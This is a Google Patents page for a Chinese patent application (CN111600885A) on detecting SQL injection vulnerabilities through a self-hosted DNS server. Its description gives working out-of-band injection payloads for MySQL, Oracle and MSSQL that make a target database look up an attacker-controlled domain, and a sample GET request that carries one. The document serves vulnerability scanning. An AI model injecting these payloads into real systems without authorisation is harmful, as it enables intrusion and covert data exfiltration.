CN111600885A - Sql注入漏洞检测方法和装置、设备及存储介质 - Google Patents

Sql注入漏洞检测方法和装置、设备及存储介质 Download PDF

Info

Publication number
CN111600885A
CN111600885A CN202010414913.3A CN202010414913A CN111600885A CN 111600885 A CN111600885 A CN 111600885A CN 202010414913 A CN202010414913 A CN 202010414913A CN 111600885 A CN111600885 A CN 111600885A
Authority
CN
China
Prior art keywords
payload
http request
dns query
character string
specific character
Prior art date
Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
Pending
Application number
CN202010414913.3A
Other languages
English (en)
Inventor
徐钟豪
廖文
Current Assignee (The listed assignees may be inaccurate. Google has not performed a legal analysis and makes no representation or warranty as to the accuracy of the list.)
Beijing Mingtu Tiancheng Information Technology Co ltd
Original Assignee
Beijing Mingtu Tiancheng Information Technology Co ltd
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by Beijing Mingtu Tiancheng Information Technology Co ltd filed Critical Beijing Mingtu Tiancheng Information Technology Co ltd
Priority to CN202010414913.3A priority Critical patent/CN111600885A/zh
Publication of CN111600885A publication Critical patent/CN111600885A/zh
Pending legal-status Critical Current

Links

Images

Classifications

    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L63/00Network architectures or network communication protocols for network security
    • H04L63/14Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic
    • H04L63/1441Countermeasures against malicious traffic
    • H04L63/1466Active attacks involving interception, injection, modification, spoofing of data unit addresses, e.g. hijacking, packet injection or TCP sequence number attacks
    • GPHYSICS
    • G06COMPUTING; CALCULATING OR COUNTING
    • G06FELECTRIC DIGITAL DATA PROCESSING
    • G06F16/00Information retrieval; Database structures therefor; File system structures therefor
    • G06F16/20Information retrieval; Database structures therefor; File system structures therefor of structured data, e.g. relational data
    • G06F16/24Querying
    • GPHYSICS
    • G06COMPUTING; CALCULATING OR COUNTING
    • G06FELECTRIC DIGITAL DATA PROCESSING
    • G06F21/00Security arrangements for protecting computers, components thereof, programs or data against unauthorised activity
    • G06F21/50Monitoring users, programs or devices to maintain the integrity of platforms, e.g. of processors, firmware or operating systems
    • G06F21/57Certifying or maintaining trusted computer platforms, e.g. secure boots or power-downs, version controls, system software checks, secure updates or assessing vulnerabilities
    • G06F21/577Assessing vulnerabilities and evaluating computer system security
    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L61/00Network arrangements, protocols or services for addressing or naming
    • H04L61/45Network directories; Name-to-address mapping
    • H04L61/4505Network directories; Name-to-address mapping using standardised directories; using standardised directory access protocols
    • H04L61/4511Network directories; Name-to-address mapping using standardised directories; using standardised directory access protocols using domain name system [DNS]
    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L63/00Network architectures or network communication protocols for network security
    • H04L63/14Network architectures or network communication protocols for network security for detecting or protecting against malicious traffic
    • H04L63/1433Vulnerability analysis
    • HELECTRICITY
    • H04ELECTRIC COMMUNICATION TECHNIQUE
    • H04LTRANSMISSION OF DIGITAL INFORMATION, e.g. TELEGRAPHIC COMMUNICATION
    • H04L67/00Network arrangements or protocols for supporting network services or applications
    • H04L67/01Protocols
    • H04L67/02Protocols based on web technology, e.g. hypertext transfer protocol [HTTP]

Landscapes

  • Engineering & Computer Science (AREA)
  • Computer Security & Cryptography (AREA)
  • General Engineering & Computer Science (AREA)
  • Computer Hardware Design (AREA)
  • Signal Processing (AREA)
  • Computer Networks & Wireless Communication (AREA)
  • Theoretical Computer Science (AREA)
  • Computing Systems (AREA)
  • Physics & Mathematics (AREA)
  • General Physics & Mathematics (AREA)
  • Software Systems (AREA)
  • Computational Linguistics (AREA)
  • Data Mining & Analysis (AREA)
  • Databases & Information Systems (AREA)
  • Information Retrieval, Db Structures And Fs Structures Therefor (AREA)

Abstract

本申请公开了一种SQL注入漏洞检测方法,该方法通过构造payload,将payload插入到HTTP请求中并记录payload和HTTP请求参数,将HTTP请求发送给目标数据库系统,由使目标数据库系统执行payload进行DNS查询,从自建DNS服务器中获取DNS查询记录,若DNS查询记录中包括特定字符串,依据HTTP请求参数确定漏洞位置,通过基于DNS通道的SQL注入漏洞检测能够对SQL注入漏洞进行快速检测,对目标应用程序不要求是否有回显,适用的目标更加广泛,且能够快速对漏洞进行检测减少了漏洞检测时间,提高了扫描效率,并且正确性上有稳步提高,减少了误报率和漏报率。

Description

SQL注入漏洞检测方法和装置、设备及存储介质
技术领域
本公开涉及计算机安全领域,尤其涉及一种SQL注入漏洞检测方法和装置、设备及存储介质。
背景技术
SQL是结构化查询语言(Structured Query Language)的简称,SQL一般用来对数据库中的数据进行访问删除添加修改等操作。由于用户的输入,也是SQL语句的一部分,所以攻击者可以利用这部分可以控制的内容,注入自己定义的语句,改变SQL语句执行逻辑,让数据库执行任意自己需要的指令。通过控制部分SQL语句,攻击者可以查询数据库中任何自己需要的数据,利用数据库的一些特性,可以直接获取数据库服务器的系统权限。现有技术中,SQL注入检测是常见的SQL注入漏洞检测方式之一,按照判断漏洞的方法,SQL注入漏洞检测方法包括基于布尔的盲注检测,基于错误回显的检测,基于时间盲注的SQL注入漏洞检测。
基于布尔的盲注的SQL注入漏洞检测通过分别构造SQL查询判断条件为布尔真的请求包和SQL查询判断条件为布尔假的请求包来获取页面响应,通过判断页面的相似程度来判断构造的SQL查询布尔值是否符合预期结果。从而判断是否存在漏洞。基于布尔的盲注依赖页面相似度,当页面出现占比比较多的随机字符串时这种情况容易产生误报与漏报,当应用程序的查询结果不表现在页面中漏报将不可避免产生。
基于时间盲注的SQL注入漏洞检测通过构造带有合适payload的请求包使当前应用程序响应时间发生改变,通过多次请求来判断页面响应耗时与带有预定于的payload请求包是否匹配来判断是否存在SQL注入漏洞。基于时间盲注的SQL注入漏洞检测可以不依赖响应内容来检测无回显的情况下发生的漏洞。但在实际过程中,由于网络波动造成的网络延迟将不可避免,导致采用基于时间盲注的SQL注入漏洞检测方法也比较容易产生误报,另一方面在检测耗时上也比较多,以至于检测效率不高。
发明内容
有鉴于此,本公开提出了一种SQL注入漏洞检测方法,包括:
构造payload;其中,所述payload包含特定字符串;
将所述payload插入到HTTP请求中并记录所述payload和HTTP请求参数;
将所述HTTP请求发送给目标数据库系统,由使所述目标数据库系统执行所述payload进行DNS查询;
从自建DNS服务器中获取DNS查询记录,若所述DNS查询记录中包括所述特定字符串,依据所述HTTP请求参数确定漏洞位置;
其中,所述DNS查询记录包含所述目标数据库系统进行DNS查询时得到的信息。
在一种可能的实现方式中,所述构造payload包括:
随机生成一组所述特定字符串;
将所述特定字符串与预设域名进行拼接得到域名串;
将所述域名串填充到命令中得到所述payload。
在一种可能的实现方式中,将所述payload插入到HTTP请求中并记录所述payload和HTTP请求参数包括:
将所述payload插入到所述HTTP请求中对应的参数中;
记录所述特定字符串和所述HTTP请求参数;
将所述特定字符串和所述HTTP请求参数存储到本地数据库中。
在一种可能的实现方式中,从自建DNS服务器获取DNS查询记录,若所述DNS查询记录中包括所述特定字符串,依据所述HTTP请求参数确定漏洞位置包括:
获取所述自建DNS服务器的DNS查询记录;
提取所述DNS查询记录中的域名;
若所述域名中的子字符串与所述特定字符串相同,则依据所述HTTP请求参数确定漏洞位置。
在一种可能的实现方式中,若所述DNS服务器中不存在DNS查询记录,则不存在漏洞。
在一种可能的实现方式中,所述命令依据所述目标数据库系统的种类设定。
根据本公开的另一方面,提供了一种SQL注入漏洞检测装置,其特征在于,包括payload构造模块、payload插入模块、HTTP请求发送模块和漏洞位置确定模块;
所述payload构造模块,被配置为构造payload;其中,所述payload包含特定字符串;
所述payload插入模块,被配置为将所述payload插入到HTTP请求中并记录所述payload和HTTP请求参数;
所述HTTP请求发送模块,被配置为将所述HTTP请求发送给目标数据库系统,由使所述目标数据库系统执行所述payload进行DNS查询;
所述漏洞位置确定模块,被配置为从自建DNS服务器中获取DNS查询记录,若所述DNS查询记录中包括所述特定字符串,依据所述HTTP请求参数确定漏洞位置;
其中,所述DNS查询记录包含所述目标数据库系统进行DNS查询时得到的信息。
在一种可能的实现方式中,所述payload构造模块包括字符串生成单元、字符串拼接单元和域名串填充单元;
所述字符串生成单元,被配置为随机生成一组所述特定字符串;
所述字符串拼接单元,被配置为将所述特定字符串与预设域名进行拼接得到域名串;
所述域名串填充单元,被配置为将所述域名串填充到命令中得到所述payload。
根据本公开的另一方面,提供了一种SQL注入漏洞检测设备,其特征在于,包括:
处理器;
用于存储处理器可执行指令的存储器;
其中,所述处理器被配置为执行所述可执行指令时实现前面任一所述的方法。
根据本公开的另一方面,提供了一种非易失性计算机可读存储介质,其上存储有计算机程序指令,其特征在于,所述计算机程序指令被处理器执行时实现前面任一所述的方法。
通过构造payload,其中,payload包含特定字符串,将payload插入到HTTP请求中并记录payload和HTTP请求参数,将HTTP请求发送给目标数据库系统,由使目标数据库系统执行payload进行DNS查询,从自建DNS服务器中获取DNS查询记录,若DNS查询记录中包括特定字符串,依据HTTP请求参数确定漏洞位置,其中,DNS查询记录包含目标数据库系统进行DNS查询时得到的信息。通过基于DNS通道的SQL注入漏洞检测能够对SQL注入漏洞进行快速检测,对目标应用程序不要求是否有回显,适用的目标更加广泛,且能够快速对漏洞进行检测减少了漏洞检测时间,提高了扫描效率,并且正确性上有稳步提高,减少了误报率和漏报率。
根据下面参考附图对示例性实施例的详细说明,本公开的其它特征及方面将变得清楚。
附图说明
包含在说明书中并且构成说明书的一部分的附图与说明书一起示出了本公开的示例性实施例、特征和方面,并且用于解释本公开的原理。
图1示出本公开实施例的SQL注入漏洞检测方法的流程图;
图2示出本公开实施例的SQL注入漏洞检测方法的另一流程图;
图3示出本公开实施例的SQL注入漏洞检测装置的框图;
图4示出本公开实施例的SQL注入漏洞检测设备的框图。
具体实施方式
以下将参考附图详细说明本公开的各种示例性实施例、特征和方面。附图中相同的附图标记表示功能相同或相似的元件。尽管在附图中示出了实施例的各种方面,但是除非特别指出,不必按比例绘制附图。
在这里专用的词“示例性”意为“用作例子、实施例或说明性”。这里作为“示例性”所说明的任何实施例不必解释为优于或好于其它实施例。
另外,为了更好的说明本公开,在下文的具体实施方式中给出了众多的具体细节。本领域技术人员应当理解,没有某些具体细节,本公开同样可以实施。在一些实例中,对于本领域技术人员熟知的方法、手段、元件和电路未作详细描述,以便于凸显本公开的主旨。
图1示出根据本公开一实施例的SQL注入漏洞检测方法的流程图。如图1所示,该SQL注入漏洞检测方法包括:
步骤S100,构造payload,其中,payload包含特定字符串,步骤S200,将payload插入到HTTP请求中并记录payload和HTTP请求参数,步骤S300,将HTTP请求发送给目标数据库系统,由使目标数据库系统执行payload进行DNS查询,步骤S400,从自建DNS服务器中获取DNS查询记录,若DNS查询记录中包括特定字符串,依据HTTP请求参数确定漏洞位置,其中,DNS查询记录包含目标数据库系统进行DNS查询时得到的信息。
通过构造payload,其中,payload包含特定字符串,将payload插入到HTTP请求中并记录payload和HTTP请求参数,将HTTP请求发送给目标数据库系统,由使目标数据库系统执行payload进行DNS查询,从自建DNS服务器中获取DNS查询记录,若DNS查询记录中包括特定字符串,依据HTTP请求参数确定漏洞位置,其中,DNS查询记录包含目标数据库系统进行DNS查询时得到的信息。通过基于DNS通道的SQL注入漏洞检测能够对SQL注入漏洞进行快速检测,对目标应用程序不要求是否有回显,适用的目标更加广泛,且能够快速对漏洞进行检测减少了漏洞检测时间,提高了扫描效率,并且正确性上有稳步提高,减少了误报率和漏报率。
在执行本公开的SQL注入漏洞检测方法的各个步骤之前,还要进行部署DNS服务器,即自建DNS服务器,其中,自建DNS服务器可以设置特定的域名,当自建DNS服务器接收到特定的域名的查询请求时,则进行记录并将记录保存,生成DNS查询记录。
具体的,参见图1,首先执行步骤S100,构造payload,其中,payload包含特定字符串。
在一种可能的实现方式中,首先进行构造payload(有效负载),其中,构造payload包括:随机生成一组特定字符串,将特定字符串与预设域名进行拼接得到域名串,将域名串填充到命令中得到payload。举例来说,首先随机生成一组特定字符串:“fajfadfladf”,将这个子串和域名“example.com”拼接在一起,即得到“fajfadfladf.example.com”的域名串,接着将域名串填充到对应的命令中去,其中,需要说明的是,命令依据目标数据库(目标网站服务器的数据库)的种类设定,若目标数据库为mysql数据库,则将“-(select load_file('[DNS]bkr'))-”语句中的“[DNS]”替换成包含域名串的命令,如将“fajfadfladf.example.com”填充到该命令中去,得到“-(select load_file('fajfadfladf.example.combkr'))-”,即得到了payload。
在另一种可能的实现方式中,如果目标数据库为oracele数据库,则将命令“||(SELECT UTL_INADDR.GET_HOST_ADDRESS('[DNS]')from dual)||”语句中的“[DNS]”替换成包含域名串的命令,如将“fajfadfladf.example.com”填充到该命令中去,得到“||(SELECT UTL_INADDR.GET_HOST_ADDRESS('fajfadfladf.example.com')from dual)||”,即得到了payload。
在另一种可能的实现方式中,如果目标数据库为mssql数据库,则将“execmaster.dbo.xp_dirtree[DNS]”语句中的“[DNS]”替换成包含域名串的特定字符串,如将“fajfadfladf.example.com”填充到该命令中去,得到“execmaster.dbo.xp_dirtreefajfadfladf.example.com”,即得到了payload。
需要说明的是,本公开的方法对目标数据库的数据库种类不进行限制,对于其他数据库,将域名串填入对应的命令的位置即可。
进一步的,参见图1,执行步骤S200,将payload插入到HTTP请求中并记录payload和HTTP请求参数。
在一种可能的实现方式中,在构造完成payload后,将payload插入到HTTP请求中并记录payload和HTTP请求参数,其中该步骤还包括:将payload插入到HTTP请求中对应的参数中,接着记录特定字符串和HTTP请求参数,最后将特定字符串和HTTP请求参数存储到本地数据库中,HTTP请求参数包括GET:向Web服务器请求一个文件,POST:向Web服务器发送数据让Web服务器进行处理,PUT:向Web服务器发送数据并存储在Web服务器内部,HEAD:检查一个对象是否存在,DELETE:从Web服务器上删除一个文件,CONNECT:对通道提供支持,TRACE:跟踪到服务器的路径,OPTIONS:查询Web服务器的性能,举例来说,目标数据库为mssql数据库,将“fajfadfladf.example.com”填充该数据库对应的命令中去,得到“execmaster.dbo.xp_dirtree fajfadfladf.example.com”,即得到了payload,再将该命令填充到HTTP请求中的GET参数中,对应的语句为:GET/SQLivuln/sqli-get-str.php?execmaster.dbo.xp_dirtree fajfadfladf.example.com,接着将特定字符串fajfadfladf记录下来,同时将HTTP请求参数/SQLivuln/sqli-get-str.php?exec master.dbo.xp_dirtreefajfadfladf.example.com进行记录,并将特定字符串和HTTP请求参数保存到本地的数据库中。
进一步的,参见图1,执行步骤S300,将HTTP请求发送给目标数据库系统,由使目标数据库系统执行payload进行DNS查询。
在一种可能的实现方式中,目标数据库为mssql数据库,将“fajfadfladf.example.com”填充该数据库对应的命令中去,得到“exec master.dbo.xp_dirtree fajfadfladf.example.com”,即得到了payload,再将该命令填充到HTTP请求中的GET参数中,对应的语句为:GET/SQLivuln/sqli-get-str.php?exec master.dbo.xp_dirtree fajfadfladf.example.com,目标数据库接收到该HTTP请求时,参见图2,若存在漏洞,则执行步骤S001,在目标数据库的数据库中执行其中的命令,接着执行步骤S002,目标数据库作为DNS查询客户机通过自建服务器进行查询,则目标数据库会对进行查询的信息进行记录得到DNS查询记录,其中,DNS查询记录包括特定字符串。
需要说明的是,参见图2,若步骤S001中未执行对应命令(检测代码),如果不存在漏洞,则不会执行对应的命令。
进一步的,参见图1,执行步骤S400,从自建DNS服务器获取DNS查询记录,若DNS查询记录中包括特定字符串,依据HTTP请求参数确定漏洞位置。
在一种可能的实现方式中,若自建服务器中存在DNS查询记录,则从自建DNS服务器获取DNS查询记录,若DNS查询记录中包括特定字符串,则依据HTTP请求参数确定漏洞位置,具体的,首先获取自建DNS服务器的DNS查询记录,提取DNS查询记录中的域名,若域名中的子字符串与特定字符串相同,则请求参数为漏洞位置,举例来说,若DNS查询记录中包括字符串“fajfadfladf”,在本地数据库中的特定字符串也同样为“fajfadfladf”,则可以确定到对应的HTTP请求参数,若对应的请求参数为:/SQLivuln/sqli-get-str.php?execmaster.dbo.xp_dirtree fajfadfladf.example.com则提取出路径信息:/SQLivuln/sqli-get-str.php?,则可以确定漏洞的位置,参见图2,并执行步骤S500,输出漏洞的信息。
另外的,如果在自建DNS服务器中没有获取到DNS查询记录,则表征不存在漏洞。
需要说明的是,尽管以上述各个步骤作为示例介绍了SQL注入漏洞检测方法如上,但本领域技术人员能够理解,本公开应不限于此。事实上,用户完全可根据个人喜好和/或实际应用场景灵活设定SQL注入漏洞检测方法,只要达到所需功能即可。
这样,通过构造payload,其中,payload包含特定字符串,将payload插入到HTTP请求中并记录payload和HTTP请求参数,将HTTP请求发送给目标数据库系统,由使目标数据库系统执行payload进行DNS查询,从自建DNS服务器中获取DNS查询记录,若DNS查询记录中包括特定字符串,依据HTTP请求参数确定漏洞位置,其中,DNS查询记录包含目标数据库系统进行DNS查询时得到的信息。通过基于DNS通道的SQL注入漏洞检测能够对SQL注入漏洞进行快速检测,对目标应用程序不要求是否有回显,适用的目标更加广泛,且能够快速对漏洞进行检测减少了漏洞检测时间,提高了扫描效率,并且正确性上有稳步提高,减少了误报率和漏报率。
进一步的,根据本公开的另一方面,还提供了一种SQL注入漏洞检测装置100。由于本公开实施例的SQL注入漏洞检测装置100的工作原理与本公开实施例的SQL注入漏洞检测方法的原理相同或相似,因此重复之处不再赘述。参见图3,本公开实施例的SQL注入漏洞检测装置100包括payload构造模块、payload插入模块、HTTP请求发送模块和漏洞位置确定模块。
payload构造模块110,被配置为构造payload;其中,payload包含特定字符串;
payload插入模块120,被配置为将payload插入到HTTP请求中并记录payload和HTTP请求参数;
HTTP请求发送模块130,被配置为将HTTP请求发送给目标数据库系统,由使目标数据库系统执行payload进行DNS查询;
漏洞位置确定模块140,被配置为从自建DNS服务器中获取DNS查询记录,若DNS查询记录中包括特定字符串,依据HTTP请求参数确定漏洞位置;
其中,DNS查询记录包含目标数据库系统进行DNS查询时得到的信息。
进一步的,在一种可能的实现方式中,payload构造模块还包括字符串生成单元、字符串拼接单元和域名串填充单元。
字符串生成单元,被配置为随机生成一组特定字符串;
字符串拼接单元,被配置为将特定字符串与预设域名进行拼接得到域名串;
域名串填充单元,被配置为将域名串填充到命令中得到payload。
更进一步地,根据本公开的另一方面,还提供了一种SQL注入漏洞检测设备200。参阅图4,本公开实施例SQL注入漏洞检测设备200包括处理器210以及用于存储处理器210可执行指令的存储器220。其中,处理器210被配置为执行可执行指令时实现前面任一所述的SQL注入漏洞检测方法。
此处,应当指出的是,处理器210的个数可以为一个或多个。同时,在本公开实施例的SQL注入漏洞检测设备200中,还可以包括输入装置230和输出装置240。其中,处理器210、存储器220、输入装置230和输出装置240之间可以通过总线连接,也可以通过其他方式连接,此处不进行具体限定。
存储器220作为一种计算机可读存储介质,可用于存储软件程序、计算机可执行程序和各种模块,如:本公开实施例的SQL注入漏洞检测方法所对应的程序或模块。处理器210通过运行存储在存储器220中的软件程序或模块,从而执行SQL注入漏洞检测设备200的各种功能应用及数据处理。
输入装置230可用于接收输入的数字或信号。其中,信号可以为产生与设备/终端/服务器的用户设置以及功能控制有关的键信号。输出装置240可以包括显示屏等显示设备。
根据本公开的另一方面,还提供了一种非易失性计算机可读存储介质,其上存储有计算机程序指令,计算机程序指令被处理器210执行时实现前面任一所述的SQL注入漏洞检测方法。
以上已经描述了本公开的各实施例,上述说明是示例性的,并非穷尽性的,并且也不限于所披露的各实施例。在不偏离所说明的各实施例的范围和精神的情况下,对于本技术领域的普通技术人员来说许多修改和变更都是显而易见的。本文中所用术语的选择,旨在最好地解释各实施例的原理、实际应用或对市场中的技术改进,或者使本技术领域的其它普通技术人员能理解本文披露的各实施例。

Claims (10)

1.一种SQL注入漏洞检测方法,其特征在于,用于检测目标数据库系统中的漏洞位置,包括:
构造payload;其中,所述payload包含特定字符串;
将所述payload插入到HTTP请求中并记录所述payload和HTTP请求参数;
将所述HTTP请求发送给所述目标数据库系统,由使所述目标数据库系统执行所述payload进行DNS查询;
从自建DNS服务器中获取DNS查询记录,若所述DNS查询记录中包括所述特定字符串,依据所述HTTP请求参数确定漏洞位置;
其中,所述DNS查询记录包含所述目标数据库系统进行DNS查询时得到的信息。
2.根据权利要求1所述的方法,其特征在于,所述构造payload包括:
随机生成一组所述特定字符串;
将所述特定字符串与预设域名进行拼接得到域名串;
将所述域名串填充到命令中得到所述payload。
3.根据权利要求2所述的方法,其特征在于,将所述payload插入到HTTP请求中并记录所述payload和HTTP请求参数包括:
将所述payload插入到所述HTTP请求中对应的参数中;
记录所述特定字符串和所述HTTP请求参数;
将所述特定字符串和所述HTTP请求参数存储到本地数据库中。
4.根据权利要求3所述的方法,其特征在于,从自建DNS服务器获取DNS查询记录,若所述DNS查询记录中包括所述特定字符串,依据所述HTTP请求参数确定漏洞位置包括:
获取所述自建DNS服务器的DNS查询记录;
提取所述DNS查询记录中的域名;
若所述域名中的子字符串与所述特定字符串相同,则依据所述HTTP请求参数确定漏洞位置。
5.根据权利要求1所述的方法,其特征在于,若所述DNS服务器中不存在DNS查询记录,则不存在漏洞。
6.根据权利要求2所述的方法,其特征在于,所述命令依据所述目标数据库系统的种类设定。
7.一种SQL注入漏洞检测装置,其特征在于,包括payload构造模块、payload插入模块、HTTP请求发送模块和漏洞位置确定模块;
所述payload构造模块,被配置为构造payload;其中,所述payload包含特定字符串;
所述payload插入模块,被配置为将所述payload插入到HTTP请求中并记录所述payload和HTTP请求参数;
所述HTTP请求发送模块,被配置为将所述HTTP请求发送给目标数据库系统,由使所述目标数据库系统执行所述payload进行DNS查询;
所述漏洞位置确定模块,被配置为从自建DNS服务器中获取DNS查询记录,若所述DNS查询记录中包括所述特定字符串,依据所述HTTP请求参数确定漏洞位置;
其中,所述DNS查询记录包含所述目标数据库系统进行DNS查询时得到的信息。
8.根据权利要求7所述的装置,其特征在于,所述payload构造模块包括字符串生成单元、字符串拼接单元和域名串填充单元;
所述字符串生成单元,被配置为随机生成一组所述特定字符串;
所述字符串拼接单元,被配置为将所述特定字符串与预设域名进行拼接得到域名串;
所述域名串填充单元,被配置为将所述域名串填充到命令中得到所述payload。
9.一种SQL注入漏洞检测设备,其特征在于,包括:
处理器;
用于存储处理器可执行指令的存储器;
其中,所述处理器被配置为执行所述可执行指令时实现权利要求1至6中任意一项所述的方法。
10.一种非易失性计算机可读存储介质,其上存储有计算机程序指令,其特征在于,所述计算机程序指令被处理器执行时实现权利要求1至6中任意一项所述的方法。
CN202010414913.3A 2020-05-15 2020-05-15 Sql注入漏洞检测方法和装置、设备及存储介质 Pending CN111600885A (zh)

Priority Applications (1)

Application Number Priority Date Filing Date Title
CN202010414913.3A CN111600885A (zh) 2020-05-15 2020-05-15 Sql注入漏洞检测方法和装置、设备及存储介质

Applications Claiming Priority (1)

Application Number Priority Date Filing Date Title
CN202010414913.3A CN111600885A (zh) 2020-05-15 2020-05-15 Sql注入漏洞检测方法和装置、设备及存储介质

Publications (1)

Publication Number Publication Date
CN111600885A true CN111600885A (zh) 2020-08-28

Family

ID=72189757

Family Applications (1)

Application Number Title Priority Date Filing Date
CN202010414913.3A Pending CN111600885A (zh) 2020-05-15 2020-05-15 Sql注入漏洞检测方法和装置、设备及存储介质

Country Status (1)

Country Link
CN (1) CN111600885A (zh)

Cited By (6)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN112699373A (zh) * 2020-12-24 2021-04-23 山东鲁能软件技术有限公司 一种sql注入漏洞批量检测的方法及装置
CN113158197A (zh) * 2021-05-26 2021-07-23 北京安普诺信息技术有限公司 一种基于主动iast的sql注入漏洞检测方法、系统
CN113254942A (zh) * 2021-05-24 2021-08-13 浙江网商银行股份有限公司 数据处理方法、系统及装置
CN114143047A (zh) * 2021-11-17 2022-03-04 湖北天融信网络安全技术有限公司 漏洞检测方法、装置、终端设备、Web服务器及存储介质
CN114157452A (zh) * 2021-11-12 2022-03-08 湖北天融信网络安全技术有限公司 一种基于http连接平台的xxe漏洞的检测方法及系统
CN114301673A (zh) * 2021-12-28 2022-04-08 上海识装信息科技有限公司 一种漏洞检测方法、装置、电子设备及存储介质

Citations (4)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN103559444A (zh) * 2013-11-05 2014-02-05 星云融创(北京)信息技术有限公司 一种sql注入检测方法及装置
CN107704758A (zh) * 2017-08-25 2018-02-16 郑州云海信息技术有限公司 一种sql注入漏洞检测方法和检测装置
CN109040039A (zh) * 2018-07-20 2018-12-18 西安四叶草信息技术有限公司 一种漏洞检测方法、装置及系统
CN109347805A (zh) * 2018-09-19 2019-02-15 杭州安恒信息技术股份有限公司 一种基于dns的无回显sql注入检测方法

Patent Citations (4)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN103559444A (zh) * 2013-11-05 2014-02-05 星云融创(北京)信息技术有限公司 一种sql注入检测方法及装置
CN107704758A (zh) * 2017-08-25 2018-02-16 郑州云海信息技术有限公司 一种sql注入漏洞检测方法和检测装置
CN109040039A (zh) * 2018-07-20 2018-12-18 西安四叶草信息技术有限公司 一种漏洞检测方法、装置及系统
CN109347805A (zh) * 2018-09-19 2019-02-15 杭州安恒信息技术股份有限公司 一种基于dns的无回显sql注入检测方法

Cited By (6)

* Cited by examiner, † Cited by third party
Publication number Priority date Publication date Assignee Title
CN112699373A (zh) * 2020-12-24 2021-04-23 山东鲁能软件技术有限公司 一种sql注入漏洞批量检测的方法及装置
CN113254942A (zh) * 2021-05-24 2021-08-13 浙江网商银行股份有限公司 数据处理方法、系统及装置
CN113158197A (zh) * 2021-05-26 2021-07-23 北京安普诺信息技术有限公司 一种基于主动iast的sql注入漏洞检测方法、系统
CN114157452A (zh) * 2021-11-12 2022-03-08 湖北天融信网络安全技术有限公司 一种基于http连接平台的xxe漏洞的检测方法及系统
CN114143047A (zh) * 2021-11-17 2022-03-04 湖北天融信网络安全技术有限公司 漏洞检测方法、装置、终端设备、Web服务器及存储介质
CN114301673A (zh) * 2021-12-28 2022-04-08 上海识装信息科技有限公司 一种漏洞检测方法、装置、电子设备及存储介质

Similar Documents

Publication Publication Date Title
CN111600885A (zh) Sql注入漏洞检测方法和装置、设备及存储介质
CN108989355B (zh) 一种漏洞检测方法和装置
CN108459954B (zh) 应用程序漏洞检测方法和装置
US10885143B2 (en) Determining whether an authenticated user session is active for a domain
CN111031111B (zh) 一种页面静态资源访问方法、装置及系统
WO2019144548A1 (zh) 安全测试方法、装置、计算机设备和存储介质
JP4193196B1 (ja) Webサービス提供システム検査装置及びWebサービス提供システム検査プログラム
US20180227314A1 (en) System and method for performing antivirus scan of a web page
CN113055399A (zh) 注入攻击的攻击成功检测方法、系统及相关装置
CN111597559B (zh) 系统命令注入漏洞检测方法和装置、设备及存储介质
CN113297086A (zh) 测试用例生成方法、装置、电子设备及存储介质
CN111767109A (zh) 基于终端应用的h5页面显示方法、设备及可读存储介质
CN109302433B (zh) 远程命令执行漏洞的检测方法、装置、设备及存储介质
CN112671574B (zh) 前后端联调方法、装置、代理设备及存储介质
CN114003432A (zh) 参数校验方法、装置、计算机设备和存储介质
CN113391972A (zh) 一种接口测试方法及装置
CN112699034A (zh) 虚拟登录用户构建方法、装置、设备及存储介质
CN111143650A (zh) 获取页面数据的方法、装置、介质及电子设备
CN115544950A (zh) 约束文件的导入方法、装置、设备及存储介质
WO2017143931A1 (zh) 智能卡识别的方法及识别数据的处理方法、装置、设备
CN113221042A (zh) 网页操作过程记录方法、装置、电子设备及计算机可读介质
CN112015406A (zh) 数据处理方法、页面访问方法、装置、终端及服务器
CN113901377B (zh) 遗留系统的服务调用方法、装置、存储介质及设备
CN114978691B (zh) 一种蜜罐的伪装方法、装置及介质
CN116233103B (zh) 接口适配方法、装置、通信设备及存储介质

Legal Events

Date Code Title Description
PB01 Publication
PB01 Publication
SE01 Entry into force of request for substantive examination
SE01 Entry into force of request for substantive examination
RJ01 Rejection of invention patent application after publication
RJ01 Rejection of invention patent application after publication

Application publication date: 20200828